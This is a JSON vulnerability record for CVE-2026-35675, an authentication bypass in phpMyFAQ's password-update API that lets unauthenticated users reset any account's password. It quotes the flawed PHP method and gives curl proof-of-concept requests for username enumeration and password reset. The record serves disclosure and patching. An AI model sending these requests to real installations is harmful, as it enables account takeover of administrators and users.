{"id":"CVE-2026-35675","aliases":["GHSA-w9xh-5f39-vq89"],"url":"https://o3.security/vulnerability/CVE-2026-35675","summary":"phpMyFAQ - Authentication Bypass via Missing Password Reset Token in /api/user/password/update","details":"### Summary\nAn authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.\n\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php\nLines: 56-130\nThe updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body:\n#[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]\n```php\npublic function updatePassword(Request $request): JsonResponse\n{\n    $data = json_decode($request->getContent());\n    $username = trim((string) Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS));\n    $email = trim((string) Filter::filterEmail($data->email));\n    if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) {\n        $user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration);\n        $loginExist = $user->getUserByLogin($username);\n        if ($loginExist && $email === $user->getUserData('email')) {\n            // NO TOKEN CHECK\n            // NO RATE LIMITING\n            // NO EMAIL VERIFICATION\n            $newPassword = $user->createPassword();\n            $user->changePassword($newPassword);\n            $mail->send(); // New password sent in plaintext\n        }\n    }\n}\n\n\n```\n\n### Root Causes:\n1. No time-limited cryptographic token required for password reset\n2. No rate limiting on the endpoint (allows unlimited username/email enumeration)\n3. No verification email sent to original address before reset\n4. New password sent in plaintext email without any confirmation step\n\n\n### PoC\nPrerequisites: None (unauthenticated attack)\nStep 1 - Username/Email Enumeration (no rate limiting):\nTest with wrong email - reveals if user exists\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"admin\",\"email\":\"wrong@test.com\"}' \\\n  http://target/phpmyfaq/api/user/password/update\n```\nResponse: {\"error\":\"The email doesn't exist...\"}  <- user exists but wrong email\n\nOR\n\nResponse: {\"error\":\"The user doesn't exist\"}     <- user doesn't exist\n\nStep 2 - Password Reset (no token required):\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"admin\",\"email\":\"admin@target.com\"}' \\\n  http://target/phpmyfaq/api/user/password/update\n```\n\nResponse: {\"success\":\"Email has been sent.\"}\nThe new plaintext password is sent to admin@target.com\n\nStep 3 - Account Takeover:\nAttacker now has valid credentials and can log in as SuperAdmin.\n\n\n\n### Impact\nAspect\tDetails\nVulnerability Type\tAuthentication Bypass / Weak Password Recovery Mechanism (CWE-640)\nAttack Vector\tNetwork (unauthenticated HTTP request)\nPrivileges Required\tNone\nUser Interaction\tNone\nScope\tFull administrative access to phpMyFAQ\nConfidentiality\tHigh - attacker gains full access to all user data and FAQ content\nIntegrity\tHigh - attacker can modify all content and settings\nAvailability\tHigh - attacker can lock out legitimate users\nWho is Impacted:\n- All phpMyFAQ administrators using default installations\n- Any organization using phpMyFAQ for internal knowledge bases\n- End users whose accounts could be compromised\n- Organizations relying on phpMyFAQ for customer support FAQs\nAttack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address","published":"2026-05-28T14:13:14.428Z","modified":"2026-08-12T03:51:42.980520959Z","cvss":null,"epss":{"score":0.00324,"percentile":0.25531,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"thorsten/phpmyfaq","fixedVersion":"4.1.3"},{"ecosystem":"Packagist","name":"phpmyfaq/phpmyfaq","fixedVersion":"4.1.3"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35675.json"},{"type":"ADVISORY","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w9xh-5f39-vq89"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35675"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-missing-password-reset-token-in-api-user-password-update"},{"type":"PACKAGE","url":"https://github.com/thorsten/phpMyFAQ"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:42.980520959Z"}}